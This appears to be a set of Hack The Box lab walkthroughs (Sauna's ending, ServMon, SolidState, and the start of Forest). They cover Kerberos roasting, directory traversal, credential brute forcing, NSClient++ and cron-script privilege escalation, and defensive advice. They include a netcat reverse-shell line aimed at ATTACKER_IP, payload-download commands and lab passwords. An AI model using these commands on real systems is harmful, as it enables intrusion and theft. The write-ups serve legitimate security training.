   One of the most important takeaways from this machine was the effectiveness of Kerberos-based user enumeration using Kerbrute. Even when traditional enumeration methods such as SMB, RPC, and LDAP fail due to access restrictions, Kerberos can still reveal valid usernames through differences in authentication responses. Identifying a single valid user was the key that unlocked the entire attack chain.

2. Username Anarchy is an Excellent Username Generation Tool

   The employee names discovered on the website were converted into likely username formats using Username Anarchy, which made Kerberos enumeration far more effective. Many organizations follow predictable naming conventions for usernames, and tools like Username Anarchy help automate the process of generating those patterns.

3. Always Check for WinRM Access After Compromising a User

   After recovering valid credentials, verifying WinRM access immediately provided a remote shell on the system. Having interactive access to the host significantly expands the attack surface and allows attackers to perform deeper enumeration directly from within the environment.

4. Password Reuse Remains a Common Weakness

   After enumerating additional domain users, performing a password spray using the compromised credentials revealed that another account (hsmith) reused the same password. Password reuse is extremely common in real environments and is often one of the fastest ways to expand access within a domain.

5. AutoLogon Credentials Are a Common Misconfiguration

   Systems configured for automatic login often store credentials directly in the registry. If these values are readable by a compromised user, attackers can recover the associated credentials and pivot further within the domain.

6. GetChangesAll Over the Domain is Essentially a Domain Compromise

   Discovering that the svc_loanmanager account possessed GetChanges and GetChangesAll permissions over the domain object was a critical finding. These permissions allow an attacker to perform a DCSync attack, which effectively allows the attacker to impersonate a domain controller and retrieve password hashes for any account in the domain.

6. Defensive Insight

Hardening Opportunities

1. Enforce Kerberos Preauthentication

   The attack chain began with AS-REP roasting of the fsmith account. This attack is only possible when the “Do not require Kerberos preauthentication” setting is enabled for a user. Organizations should ensure that Kerberos preauthentication is enforced for all accounts unless absolutely necessary.

2. Restrict Public Exposure of Employee Information

   The initial foothold was enabled by discovering employee names on the company website. While publishing employee names is common for marketing purposes, it can provide attackers with the information needed to generate likely username formats. Organizations should carefully consider how much employee information is publicly exposed.

3. Prevent Password Reuse Across Accounts

   The compromise of hsmith occurred due to password reuse. Enforcing strong password policies and implementing password reuse prevention mechanisms can significantly reduce the risk of attackers expanding access after compromising a single account.

4. Avoid Storing AutoLogon Credentials in the Registry

   The system was configured to use AutoLogon, which stored credentials directly in the Winlogon registry key. This allowed attackers to retrieve the password for the svc_loanmanager account. Systems should avoid using AutoLogon for domain accounts, especially service accounts with elevated privileges.

5. Limit Privileged Active Directory Permissions

   The svc_loanmanager account had GetChanges and GetChangesAll permissions over the domain object. These permissions allow a user to perform a DCSync attack, effectively granting the ability to replicate password hashes from the domain controller. Such privileges should be strictly limited to legitimate domain controllers and carefully audited.

6. Audit Active Directory ACLs Regularly

   Misconfigured ACL permissions on domain objects can introduce powerful attack paths that are difficult to notice without tools like BloodHound. Organizations should routinely audit Active Directory permissions to ensure that sensitive rights such as GetChangesAll, WriteDACL, and GenericAll are not assigned to unnecessary accounts.

Detection Opportunities

1. Monitor Kerberos Enumeration Attempts

   Tools like Kerbrute generate a large number of Kerberos authentication attempts in a short period of time. Security monitoring solutions should detect abnormal authentication patterns that could indicate username enumeration.

2. Detect AS-REP Roasting Activity

   AS-REP roasting generates Kerberos AS-REP requests without preauthentication, which can be detected in domain controller logs. Monitoring for these events can help identify attackers attempting to exploit roastable accounts.

3. Alert on Suspicious WinRM Activity

   Unexpected WinRM logins from unusual hosts can indicate attacker lateral movement. Monitoring WinRM authentication events can help detect unauthorized remote access attempts.

4. Monitor Password Spraying Behavior

   Password spraying often generates repeated authentication attempts against multiple accounts using the same password. Detection systems should look for authentication patterns consistent with password spraying.

5. Detect DCSync Attempts

   DCSync attacks generate directory replication requests from non-domain controller systems. Monitoring for replication operations originating from unauthorized hosts can help detect this highly critical attack technique.

Useful Commands

Enumeration Commands

Initial Service Enumeration

nmap -sC -sV -p- 10.129.7.13

Anonymous SMB Enumeration

nxc smb 10.129.7.13 -u '' -p '' --shares

Anonymous RPC Enumeration

rpcclient -U "" -N 10.129.7.13
enumdomusers

Anonymous LDAP Enumeration

nxc ldap 10.129.7.13 --users

Username Discovery

Generate Username Permutations

username-anarchy -i user.txt > new.txt

Kerberos Username Enumeration

kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.129.7.13 new.txt

Exploitation Commands

AS-REP Roasting

impacket-GetNPUsers -request EGOTISTICAL-BANK.LOCAL/fsmith -no-pass -dc-ip 10.129.7.13

Privilege Escalation Commands

Password Spray Domain Users

nxc smb 10.129.7.13 -u user.txt -p 'Thestrokes23' --continue-on-success

BloodHound Data Collection

.\SharpHound.exe -c All

Search for AutoLogon Credentials

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Machine Name: ServMon

Platform: Hack The Box

Operating System: Windows

Target IP: 10.129.227.77

Objective: Obtain both the user and administrator flags by identifying weaknesses that allow initial access and privilege escalation.

ServMon is a Windows-based machine that exposes multiple network services commonly found in enterprise environments. These services provide a broad attack surface and require careful enumeration to understand what functionality they expose and whether any sensitive information is accessible.

Tools Used

• RustScan – Rapid port discovery

• Nmap – Service enumeration

• Burp Suite – Intercepting and modifying HTTP requests

• Searchsploit – Exploit discovery

• Hydra – Credential brute forcing

• SSH – Remote shell access and port forwarding

• Python HTTP Server – File transfer to the target

• Netcat – Reverse shell listener

• NSClient++ Web Interface – Exploitation and task scheduling

2. Enumeration

Port Discovery

As always, I began the engagement by performing a full port scan to identify any exposed services on the target machine.

Service Enumeration

The Nmap scan revealed several interesting services running on the host:

21/tcp    open  ftp           Microsoft ftpd
22/tcp    open  ssh           OpenSSH for_Windows_8.0
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5666/tcp  open  tcpwrapped
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
8443/tcp  open  ssl/https-alt

One of the first things that immediately stood out was that FTP allowed anonymous login, which is always worth investigating since it may expose files or directories accessible without authentication.

ftp-anon: Anonymous FTP login allowed

The scan also revealed the presence of two web services running on ports 80 and 8443, which are typically high-priority targets during enumeration.

When visiting the web server on port 80, the page returned a redirect to:

/Pages/login.htm

This suggested that the service was hosting a web-based login interface, which could potentially expose functionality or vulnerabilities worth investigating.

The HTTPS service on port 8443 appeared to be associated with NSClient++, a monitoring agent commonly used in Windows environments.

Given these findings, the next step in the enumeration process was to begin investigating the web applications running on ports 80 and 8443 to understand what functionality they exposed and whether they could provide an entry point into the system.

Web Application Enumeration

When visiting the web server on port 80, I was presented with a login panel for an application called NVMS-1000, which appears to be a web interface associated with a video monitoring or surveillance management system.

I first attempted several common default credential combinations. admin : admin and root : root. Both attempts failed to authenticate.

Since this appeared to be a third-party application, I performed a quick search for NVMS-1000 default credentials. Documentation suggested that the default login should be: admin : 123456

However, attempting these credentials also failed.

At this point, since authentication was unsuccessful and another web service had been identified during the port scan, the next step was to investigate the service running on port 8443.

NSClient++ Interface (Port 8443)

Next, I navigated to the HTTPS service running on port 8443, which presented a login interface for NSClient++, a Windows monitoring agent commonly used to allow remote systems to query host metrics and execute monitoring checks.

Because tools like NSClient++ can execute commands on the host for monitoring purposes, they can become high-value targets if misconfigured or exposed externally.

I attempted several simple credential guesses such as:

admin
root

However, authentication attempts failed. A quick search for default credentials for NSClient++ did not reveal any commonly used default passwords for the web interface.

At this point, since both web interfaces required authentication and no immediate entry point was found, I decided to shift my focus toward the FTP service, which allowed anonymous login. At the same time, I began running ffuf directory enumeration in the background against both port 80 and port 8443 to identify any hidden endpoints or resources that might provide additional attack surface.

FTP Enumeration

Since anonymous login was allowed on the FTP service, I connected to the server to see what files or directories were accessible.

ftp -a 10.129.227.77

After connecting successfully, I enumerated the directory structure and discovered a Users directory that appeared to contain folders corresponding to local user accounts on the system.

Users/
 ├── Nadine
 └── Nathan

Inside these directories I discovered two potentially interesting files:

Confidential.txt
Notes to do.txt

Both files were downloaded for further analysis.

get Confidential.txt
get Notes\ to\ do.txt

After examining the contents of these files, they appeared to be internal notes between users on the system. One message referenced a Passwords.txt file located on Nathan’s desktop, while the other listed several administrative tasks related to the NVMS application and NSClient configuration.

Although these notes did not immediately provide usable credentials, they did suggest that sensitive information may exist elsewhere on the system and confirmed that both NVMS and NSClient were actively being managed by the users.

Further Enumeration

Since the downloaded files did not reveal any immediate credentials, I returned to investigating the exposed web applications. The directory enumeration running in the background with ffuf against ports 80 and 8443 did not reveal any interesting endpoints.

At this stage, with no direct access through the web interfaces and no immediate credentials from the FTP files, the next step was to begin researching known vulnerabilities affecting the NVMS-1000 application to determine whether a publicly known exploit might exist.

Privilege Escalation Research

While researching potential next steps, I also investigated the NSClient++ service that had been identified earlier during port enumeration.

Using searchsploit, I discovered a vulnerability affecting NSClient++ version 0.5.2.35.

The results revealed two relevant entries:

Reviewing the privilege escalation advisory revealed that low-privileged users may be able to read the NSClient++ web administrator password in cleartext from the configuration file when the web server component is enabled.

Once the administrator password is obtained, a user can authenticate to the NSClient++ web interface and modify the configuration to enable modules capable of executing external scripts.

Since the NSClient++ service runs as LocalSystem, any scheduled scripts executed through the service will run with SYSTEM privileges, allowing a low-privileged user to escalate privileges on the system.

The exploit description also indicated that after modifying the configuration, a system reboot is required for the changes to take effect.

At this point I noted this vulnerability as a potential privilege escalation path once a foothold on the system had been obtained.

Vulnerability Research

Since the previous enumeration steps did not immediately reveal valid credentials or accessible functionality, I began searching for publicly known vulnerabilities affecting the NVMS-1000 application.

Using searchsploit, I discovered a reported directory traversal vulnerability affecting NVMS 1000.

One of the results indicated that the application was vulnerable to directory traversal attacks that could allow an attacker to retrieve arbitrary files from the underlying system.

The exploit description indicated that a specially crafted request using repeated ../ sequences could allow an attacker to access files outside of the web application directory.

To verify whether the target was vulnerable, I intercepted a request using Burp Suite and attempted to request the Windows win.ini file using a directory traversal payload.

The win.ini file is commonly used as a test file during directory traversal attacks because it is almost always present on Windows systems and can typically be accessed without elevated privileges. The file originally stored configuration settings for legacy Windows applications and 16-bit compatibility layers, and although it is largely unused by modern Windows systems, it is still included by default for backward compatibility.

Because of its predictable location (C:\Windows\win.ini) and universal presence on Windows hosts, it serves as a reliable indicator that a directory traversal attack is successfully reading files from the operating system.

The server responded with the contents of the file, confirming that the directory traversal vulnerability was indeed present on the target.

3. Exploitation

With the traversal vulnerability confirmed, I began thinking about files that might contain useful information. Earlier during FTP enumeration, I discovered a message referencing a Passwords.txt file located on Nathan’s desktop.

Because directory traversal vulnerabilities typically allow arbitrary file reads but not directory listing, I needed to know the exact file path in advance. Fortunately, the FTP notes already revealed both the filename and the user account, allowing me to construct the expected Windows desktop path.

Typical Windows desktop location:

C:\Users\<username>\Desktop\

Using this information, I crafted a traversal request in Burp Suite targeting the following path:

/../../../../../../../../../../users/nathan/desktop/passwords.txt

The server responded with the contents of the file, successfully exposing the stored credentials.

With the list of passwords obtained through the directory traversal attack, I now had a set of potential credentials that could be used for authentication attempts. From earlier enumeration I had already identified several valid usernames on the system:

administrator
nathan
nadine

Since SSH was exposed on port 22, this provided a straightforward way to test the discovered passwords against the known user accounts.

To automate the authentication attempts, I used Hydra, supplying a list of usernames along with the password list retrieved from the Passwords.txt file.

Hydra performs a brute-force style attack by attempting every username and password combination from the supplied lists. After running the attack, Hydra quickly returned a valid credential pair:

Using these credentials, I authenticated to the target system over SSH:

After logging in successfully, I confirmed the context of the shell.

This confirmed that I now had an interactive shell on the system as the nadine user, providing a foothold on the target machine.

4. Privilege Escalation

After gaining a foothold on the system as the nadine user, my next objective was to determine whether the NSClient++ vulnerability discovered earlier could be leveraged to escalate privileges.

During earlier enumeration, I had identified that the system was running NSClient++, a monitoring agent commonly used with monitoring platforms such as Nagios to collect system metrics and execute monitoring checks. Because monitoring services often run with elevated privileges, they can sometimes present useful privilege escalation opportunities if misconfigured.

From my earlier vulnerability research using searchsploit, I had already identified a known privilege escalation issue affecting NSClient++ version 0.5.2.35. In order to determine whether the target system was vulnerable, the first step was to verify which version of NSClient++ was installed.

To do this, I began searching the system for the NSClient++ installation directory and configuration files, as these locations often contain version information and additional details about how the service is configured.

Identifying the installed version would allow me to confirm whether the system was likely vulnerable before attempting to exploit the service.

The output confirmed that the system was running the vulnerable version.

With the vulnerable version confirmed, I proceeded to the next step described in the exploit advisory: retrieving the web administrator password from the NSClient++ configuration file.

Inside the configuration file, I located the stored password value:

password = ew2x6SsGTxjRwXOT

While reviewing the same configuration file, I also noticed an important restriction in the configuration:

allowed hosts = 127.0.0.1

This setting restricts access to the NSClient++ web interface so that only connections originating from localhost are permitted. Although the service was listening on port 8443, external connections from my attacking machine would be blocked.

To bypass this restriction, I created an SSH tunnel through the foothold I already had on the system. This allowed me to forward a local port from my attacking machine to the target’s 127.0.0.1:8443 interface.

ssh -L 9000:127.0.0.1:8443 nadine@10.129.227.77

With the tunnel established, I could now access the NSClient++ web interface locally from my browser by navigating to:

https://127.0.0.1:9000

Using the administrator password recovered from the configuration file, I successfully authenticated to the NSClient++ administrative panel.

Following the exploit steps, the next requirement was to enable the modules necessary for executing external scripts.

From the Modules section of the interface, I enabled the following modules:

CheckExternalScripts CheckTaskSched

These modules allow NSClient++ to execute external scripts and manage scheduled tasks, which are required for the privilege escalation technique.

Preparing the Reverse Shell

The next step was to prepare a reverse shell payload that could be executed by the NSClient++ service.

I created a simple batch script containing a Netcat reverse shell.

To transfer the required files to the target system, I hosted them from my attacking machine using a Python HTTP server.

python3 -m http.server 80

From the compromised system, I then downloaded both the Netcat binary and the batch script using PowerShell.

The requests were successfully received by the Python server, confirming that both files had been transferred to the target system.

With the reverse shell payload and Netcat binary now present on the machine, the next step would be to configure NSClient++ to execute the batch script through the scheduled task functionality, allowing the script to run under the LocalSystem context.

Executing the Privilege Escalation

With the payload in place, I returned to the NSClient++ web interface and edited the scheduled task configuration so that it would execute the batch script containing the reverse shell.

Before triggering execution, I set up a Netcat listener on my attacking machine.

nc -nvlp 9001

After updating the scheduled task configuration, I restarted the NSClient++ service to force the service to reload its configuration and execute the scheduled script.

Shortly after the service restarted, the listener received a connection from the target system.

Once connected, I verified the privilege level of the shell.

This confirmed that the exploit had successfully executed under the LocalSystem context, giving full administrative control of the machine.

5. Lessons Learned

1. Directory Traversal Can Expose Sensitive System Files

A key takeaway from this machine is how dangerous directory traversal vulnerabilities can be. Even though the NVMS application did not allow command execution directly, it allowed arbitrary file reads on the underlying system. This enabled access to sensitive files such as user password lists, which ultimately led to initial access.

This highlights the importance of validating file paths and preventing applications from accessing directories outside their intended scope.

2. Internal Information Disclosure Can Enable Attack Chains

The files discovered during FTP enumeration did not initially contain credentials, but they revealed valuable contextual information. Specifically, the message referencing a password file on Nathan's desktop provided the clue needed to construct the correct traversal path.

Small pieces of information like this often become critical when chained together with other vulnerabilities.

3. Monitoring Software Can Introduce Privilege Escalation Risks

Monitoring agents such as NSClient++ often run with elevated privileges in order to gather system metrics and execute health checks. If these services are misconfigured or vulnerable, they can become powerful escalation points.

In this case, the ability for low-privileged users to read the NSClient++ configuration file exposed the web administrator password.

4. Localhost Restrictions Are Not Always Effective

Although the NSClient++ web interface restricted access to 127.0.0.1, this protection was bypassed easily using SSH port forwarding. This demonstrates that restricting services to localhost alone is not always a sufficient security control when attackers already have a foothold on the system.

6. Defensive Insight

1. Prevent Directory Traversal Vulnerabilities

Web applications should strictly sanitize user-supplied paths and ensure that applications cannot access directories outside the intended web root.

Using safe path resolution functions and validating input can prevent attackers from requesting arbitrary files on the system.

2. Avoid Storing Sensitive Data in User Locations

Sensitive data such as password lists should never be stored in user desktop directories or other easily accessible locations. Proper credential storage solutions and secure password management practices should always be used.

3. Protect Service Configuration Files

Configuration files for privileged services should be protected with strict file permissions. In this case, allowing low-privileged users to read the NSClient++ configuration file exposed administrative credentials.

Service configuration files should only be readable by administrators or the service account itself.

4. Harden Monitoring Services

Monitoring tools like NSClient++ should be hardened by:

• Disabling unnecessary modules

• Restricting access to management interfaces

• Regularly updating to patched versions

Running outdated monitoring software can expose systems to privilege escalation vulnerabilities.

7. Useful Commands

Initial Port Scanning

rustscan -a 10.129.227.77 -b 7000

nmap -sC -sV -p- 10.129.227.77

Anonymous FTP Access

ftp -a 10.129.227.77

Searching for Public Exploits

searchsploit nvms

Viewing Exploit Details

searchsploit -x 47774.txt

Hydra SSH Credential Attack

hydra -L user.txt -P pass.txt -t 16 10.129.227.77 ssh

Verifying NSClient++ Version

cd "C:\Program Files\NSClient++"
nscp.exe --version

Creating an SSH Port Forward

ssh -L 9000:127.0.0.1:8443 nadine@10.129.227.77.

Hosting Payload Files

python3 -m http.server 80

Downloading Payloads on the Target

powershell wget http://10.10.14.123/nc.exe -outfile nc.exe
powershell wget http://10.10.14.123/shell.bat -outfile shell.bat

Machine Name: SolidState

Platform: Hack The Box

Operating System: Linux

Target IP: 10.129.6.171

Objective: Obtain the user and root flags from the target machine. SolidState is a Linux-based machine that exposes several common network services, including a web server and multiple mail-related protocols. These services provide the primary attack surface and require careful enumeration to understand how they interact and what functionality they expose.

The compromise of this system ultimately relies on identifying service misconfigurations and leveraging them to gain access to internal information. By chaining together weaknesses in exposed services and system permissions, it becomes possible to progress from initial access to full administrative control of the machine.

Tools Used

RustScan

RustScan was used for rapid port discovery. Its high-speed scanning capability allowed quick identification of open TCP ports on the target before passing them to Nmap for deeper enumeration.

Nmap

Nmap was used for detailed service enumeration after identifying open ports. The default scripts and version detection options helped identify running services such as SSH, SMTP, POP3, NNTP, and the Apache James administrative interface.

FFUF

FFUF was used for directory brute forcing against the web server running on port 80. This helped identify accessible files and directories within the web application while manual browsing was performed simultaneously.

Netcat (nc)

Netcat was used for multiple purposes during the engagement:

• Connecting to the Apache James administrative console on port 4555

• Establishing a reverse shell listener for privilege escalation

Netcat’s versatility makes it a common tool for interacting with network services during penetration testing.

Telnet

Telnet was used to manually interact with the POP3 service running on port 110. This allowed direct authentication to user mailboxes and retrieval of stored emails containing sensitive information.

LinPEAS

LinPEAS was used for automated privilege escalation enumeration. The script scans the system for common misconfigurations such as writable files owned by privileged users, which ultimately revealed the vulnerable root-owned Python script that enabled privilege escalation.

2. Enumeration

Nmap Scanning

As always, I begin the engagement by identifying open ports and running services on the target machine. I first ran RustScan to quickly discover open TCP ports before passing the results into Nmap for deeper service enumeration.

The scan revealed several open ports which were then enumerated with Nmap to identify the running services and versions.

sudo nmap -sC -sV -p22,25,80,110,119,4555 10.129.6.171

Nmap Results

The web server returned the following page title:

The scan also confirmed the host is running Linux (Debian).

UDP Scan

To be thorough, I also performed a quick UDP scan against the target to check for any additional services that might expand the attack surface.

The results showed no useful UDP services exposed.

Key Takeaways from Enumeration

The scan revealed several interesting services that will likely play a role in the attack chain:

• SSH (22) – Potential for credential reuse once we obtain valid credentials.

• SMTP (25) – Mail services often expose usernames or allow enumeration.

• HTTP (80) – Always a primary attack surface.

• POP3 (110) – Indicates a mail retrieval service.

• NNTP (119) – Less common and potentially interesting.

• Port 4555 – Uncommon service that may belong to a mail server or custom application.

The presence of multiple mail-related services (SMTP, POP3, NNTP) strongly suggests that the target may be running a mail server platform, which will be investigated further during service enumeration.

Web Enumeration (Port 80)

Given the presence of a web server, I shifted focus to port 80 as an initial attack surface.

To begin reconnaissance, I started a directory brute-force scan using ffuf so that enumeration could run in the background while I manually inspected the site through my browser.

Directory Enumeration Results

The discovered content suggests the web server hosts a fairly small static site.

Website Analysis

Visiting the main page reveals a site for Solid State Security, presenting itself as an award-winning security consulting team.

The site consists of three primary pages:

• index.html

• services.html

• about.html

Each page primarily contains static informational content describing the company's services and background.

At the bottom of each page there is also a contact form.

However, testing the form revealed that it simply submits a POST request to /, which returns the main page without performing any visible action. This suggests the form is either non-functional or not connected to any backend processing logic.

Further directory brute forcing did not reveal any additional interesting endpoints.

Given the lack of dynamic functionality or obvious attack vectors on the web application, the HTTP service does not appear to provide a viable entry point at this stage.

At this point, I shifted focus away from the web server and began investigating the other exposed services identified during the initial port scan.

Mail Server Enumeration (Port 4555)

One of the more unusual services identified during scanning was port 4555. Based on the presence of several mail-related ports (SMTP, POP3, NNTP), I suspected that this port might belong to a mail server management interface.

To investigate further, I connected to the service using netcat.

Upon connecting, the service returned a login prompt for the James Admin Console.

What is Apache James?

Apache James (Java Apache Mail Enterprise Server) is an open-source mail server written in Java. It provides standard email services such as:

• SMTP

• POP3

• IMAP

• NNTP

In addition to the mail protocols themselves, James also exposes an administrative console which allows administrators to manage users, domains, and mailboxes.

In this case, the admin interface was accessible over port 4555.

Default Credentials

Since administrative consoles frequently ship with default credentials, I attempted to authenticate using a common default:

Username: root
Password: root

This authentication attempt was successful, granting access to the James mail server administrative interface.

This immediately represents a significant misconfiguration, as it allows an attacker to directly interact with the mail server's administrative functions. Mail Server Enumeration (Port 4555)

Once authenticated, the administrative console displayed a list of available commands.

help
listusers
adduser
setpassword
deluser
setalias
setforwarding

User Enumeration

Using the available administrative functionality, I enumerated the mail server accounts.

This revealed multiple existing user accounts on the mail server.

Since the administrative console allows password modification, I reset the passwords for each user using the setpassword command.

By resetting these credentials, I was able to gain authentication access to each user's mailbox.

3. Exploitation

Mailbox Enumeration via POP3

After resetting the passwords for the mail server accounts through the Apache James administrative console, I began interacting with the POP3 service (port 110) to read the contents of the users' mailboxes.

I connected to the POP3 server using telnet.

telnet 10.129.6.171 110

Using the credentials I had previously set through the James admin interface, I authenticated as the available users and enumerated their messages.

Accessing John's Mailbox

John's mailbox contained a message from the mail administrator discussing Mindy's account access restrictions.

While this message did not contain credentials, it confirmed that Mindy recently received account access information, making her mailbox particularly interesting.

Accessing Mindy's Mailbox

Next, I authenticated as Mindy.

The mailbox contained two messages.

Retrieving the second message revealed a set of SSH credentials.

This email provided valid SSH credentials for the target machine.

Gaining Initial Access via SSH

After discovering SSH credentials in Mindy’s mailbox, I attempted to authenticate to the target system.

ssh mindy@10.129.6.171

Using the credentials found in the email:

username: mindy
password: P@55W0rd1!2@

I was successfully able to establish an SSH session as the mindy user.

Once connected, I attempted to run some basic enumeration commands.

whoami

However, this returned an error:

-rbash: whoami: command not found

Checking the current working directory confirmed that I had landed in Mindy’s home directory.

pwd

/home/mindy

Restricted Shell (rbash)

Examining the system revealed that Mindy’s shell was configured as rbash, or restricted bash.

Restricted bash is a security feature of the Bash shell that limits the commands a user can execute. It is commonly used in environments where administrators want to restrict a user’s ability to interact freely with the system.

Typical rbash restrictions include:

• Preventing the use of commands containing /

• Preventing changes to the PATH variable

• Preventing the use of cd

• Restricting execution to a predefined set of allowed commands

The purpose of rbash is to limit a user to a controlled command environment, preventing them from accessing sensitive parts of the system or executing arbitrary binaries.

In practice, however, restricted shells are frequently misconfigured and can often be bypassed, allowing an attacker to escape the restricted environment.

At this stage, the next objective was to identify a method to break out of the restricted shell and obtain a fully functional interactive shell.

Escaping rbash

A simple technique to bypass restricted shells when connecting via SSH is to force execution of a different shell during login.

This can be done using the -t option to execute a command immediately after establishing the SSH connection.

ssh mindy@10.129.6.171 -t bash

This forces bash to run instead of the restricted shell defined for the user account.

After reconnecting using this method, I was able to execute previously restricted commands.

Although the prompt appeared slightly malformed, the important outcome was that I now had access to a fully functional shell, allowing standard enumeration.

With the rbash restrictions bypassed, I could now proceed with normal system enumeration in search of a privilege escalation path.

4. Privilege Escalation

Initial Enumeration

After bypassing the restricted shell, I began my standard Linux privilege escalation checklist.

First I confirmed the current user:

whoami

mindy

Next I checked the user’s group memberships:

id

uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)

This confirmed that the account does not belong to any privileged groups.

I then checked for sudo privileges:

sudo -l

However, the sudo binary was not available in the current environment.

bash: sudo: command not found

Filesystem Enumeration

I proceeded with standard manual enumeration, reviewing common escalation vectors such as:

• writable directories

• cron jobs

• unusual binaries

• SUID files

• scripts executed by privileged users

Despite checking typical locations nothing immediately stood out as an obvious privilege escalation path.

Automated Enumeration with LinPEAS

Since manual enumeration did not reveal anything obvious, I decided to use LinPEAS, a popular Linux privilege escalation auditing script that automatically scans the system for common misconfigurations.

To transfer the script to the target machine, I first hosted it from my Kali machine using a simple Python web server.

Then from the compromised SSH session, I downloaded the script using wget.

After downloading the script, I made it executable and ran it.

LinPEAS performed a comprehensive scan of the system, checking for common privilege escalation vectors such as:

• SUID binaries

• writable cron jobs

• weak file permissions

• PATH hijacking opportunities

• scheduled tasks

Vulnerable Root Script

During the scan, LinPEAS highlighted a suspicious file located in the /opt directory.

/opt/tmp.py

Inspecting the file revealed the following:

ls -la /opt/tmp.py

-rwxrwxrwx 1 root root 105 Mar 14 12:15 tmp.py

The script was:

• owned by root

• world writable (777)

Viewing the contents of the file showed that it was a simple Python script responsible for clearing the /tmp directory.

#!/usr/bin/env python
import os
import sys

try:
    os.system("rm -r /tmp/* ")
except:
    sys.exit()

Because the file was owned by root but writable by all users, this immediately suggested the possibility of a privilege escalation through script modification if the file was being executed automatically by a privileged process.

Confirming Script Execution

Before modifying the script, I first needed to confirm that it was being executed periodically.

Since the script deletes all files in /tmp, I created a test file to observe its behavior.

touch /tmp/test

After waiting briefly, I checked the directory again and observed that the file had been removed automatically. This confirmed that the script was being executed on a recurring basis by a privileged process.

Exploiting the Writable Script

Since the script was executed by root and was world writable, I appended a reverse shell payload to the end of the file.

Next, I started a listener on my attacking machine.

When the scheduled task executed the script, the payload triggered and established a reverse shell back to my listener.

Root Shell

Once the connection was established, I verified the privileges of the shell.

This confirmed that the reverse shell was running with root privileges, successfully completing the privilege escalation.

5. Lessons Learned

1. The Danger of Default Credentials

The initial foothold on the mail server was obtained using default credentials (root:root) for the Apache James administrative console. Default credentials remain one of the most common real-world misconfigurations and can immediately provide attackers with administrative control over services if they are not changed during deployment.

2. Administrative Service Exposure Increases Attack Surface

The Apache James administrative console (port 4555) was exposed directly to the network. Administrative interfaces should rarely be accessible externally, as they often provide powerful capabilities such as user management, password resets, and system configuration changes. In this case, access to the console allowed modification of user passwords, which ultimately led to mailbox access and credential discovery.

3. Mail Services Can Leak Sensitive Information

By resetting user passwords through the mail server admin interface, it was possible to authenticate to the POP3 service and read stored emails. These emails contained operational details and credentials, demonstrating how internal communication systems such as mail servers can unintentionally expose sensitive information that attackers can leverage for lateral movement or system access.

4. Writable Scripts Owned by Root Are a Critical Misconfiguration

The privilege escalation was possible because a Python script owned by root was world-writable (777). This allowed a non-privileged user to modify a script that was executed automatically by a privileged process. When the script ran, it executed attacker-controlled commands with root privileges.

Misconfigured file permissions on scripts executed by privileged users represent a serious security risk and are a common privilege escalation vector in both real-world environments and penetration testing scenarios.

5. Understanding Service Roles Improves Attack Efficiency

Recognizing the roles of the different mail protocols exposed on the target was critical in progressing through the attack chain:

• SMTP for sending mail

• POP3 for retrieving mail

• NNTP for newsgroup communication

Understanding that POP3 allows mailbox retrieval led directly to discovering the SSH credentials stored in Mindy's email.

6. Defensive Insights

1. Eliminate Default Credentials

Services should never be deployed with default credentials enabled. Default accounts such as root:root for administrative interfaces must be changed immediately during system deployment. Organizations should enforce credential policies that require strong, unique passwords and disable unused default accounts entirely.

2. Restrict Administrative Interfaces

Administrative services such as the Apache James Remote Administration Tool should never be directly exposed to untrusted networks. These interfaces should be restricted using:

• firewall rules

• VPN access

• internal network segmentation

Limiting access to administrative services significantly reduces the attack surface available to external attackers.

3. Secure Mail Infrastructure

Mail servers frequently contain sensitive internal communications, including credentials, operational instructions, and system details. Organizations should ensure that:

• mailbox access is strictly controlled

• passwords cannot be arbitrarily reset by unauthorized users

• administrative mail services are properly secured

Additionally, sensitive credentials should never be transmitted in plaintext emails.

4. Enforce Proper File Permissions

Scripts owned by privileged users must never be writable by unprivileged accounts. In this case, the Python script responsible for system cleanup was configured with world-writable permissions (777), allowing any user to modify its contents.

Secure permission configurations such as:

700
750
755

should be applied to scripts executed by root to prevent unauthorized modification.

5. Secure Scheduled Tasks and Automation Scripts

Automated maintenance scripts, particularly those executed by cron jobs or privileged services, should be carefully audited to ensure they cannot be manipulated by unprivileged users.

Best practices include:

• storing scripts in restricted directories

• limiting write permissions to administrators only

• regularly auditing scheduled tasks

Automated processes executed with elevated privileges should always be treated as high-risk components within a system.

6. Continuous Security Auditing

Regular security audits and configuration reviews can help identify dangerous misconfigurations before they are exploited. Automated tools such as configuration scanners and vulnerability management platforms can assist administrators in detecting issues such as:

• exposed administrative services

• weak credentials

• improper file permissions

• insecure automation scripts

Proactive monitoring and auditing significantly reduce the likelihood of privilege escalation vulnerabilities being exploited.

Useful Commands

Throughout this engagement, several commands were used to enumerate services, interact with the mail server, and ultimately achieve privilege escalation.

Interacting with the Apache James Admin Console

Connect to the administrative interface exposed on port 4555.

nc 10.129.6.171 4555

Enumerate available users.

listusers

Reset user passwords.

setpassword username password

POP3 Mailbox Interaction

Connect to the POP3 service.

telnet 10.129.6.171 110

Authenticate and retrieve stored emails.

USER username
PASS password
LIST
RETR 1

SSH Restricted shell escape

Escape the restricted shell by forcing bash during connection.

ssh mindy@10.129.6.171 -t bash

Netcat Reverse shell

Append a reverse shell payload to the writable root-owned script.

echo 'os.system("nc ATTACKER_IP 9001 -e /bin/bash")' >> /opt/tmp.py

• Machine Name: Forest

• Platform: HackTheBox

• Operating System: Windows

• Environment Type: Active Directory

Overview

Forest is a Windows Active Directory domain environment hosted on HackTheBox. The objective of this engagement was to enumerate the exposed domain services, identify weaknesses in the Active Directory configuration, and leverage those weaknesses to escalate privileges until full control of the domain was achieved.

Because domain controllers manage authentication and permissions across the network, misconfigurations in services such as LDAP, Kerberos, SMB, and RPC can often expose valuable attack paths that allow an attacker to move from basic enumeration to full domain compromise.

Tools Used

• Rustscan — Fast port scanner used to quickly identify open ports and services on the target system before deeper enumeration.

• Nmap — Network scanning tool used for service detection and script-based enumeration of the target’s services and domain information.

• NetExec (nxc) — Post-exploitation and enumeration framework used to test SMB authentication and check for anonymous access to shares.

• rpcclient — Tool used to interact with Windows RPC services, allowing anonymous enumeration of domain users.

• Impacket (GetNPUsers) — Script used to perform AS-REP roasting and retrieve Kerberos authentication hashes for accounts with preauthentication disabled.

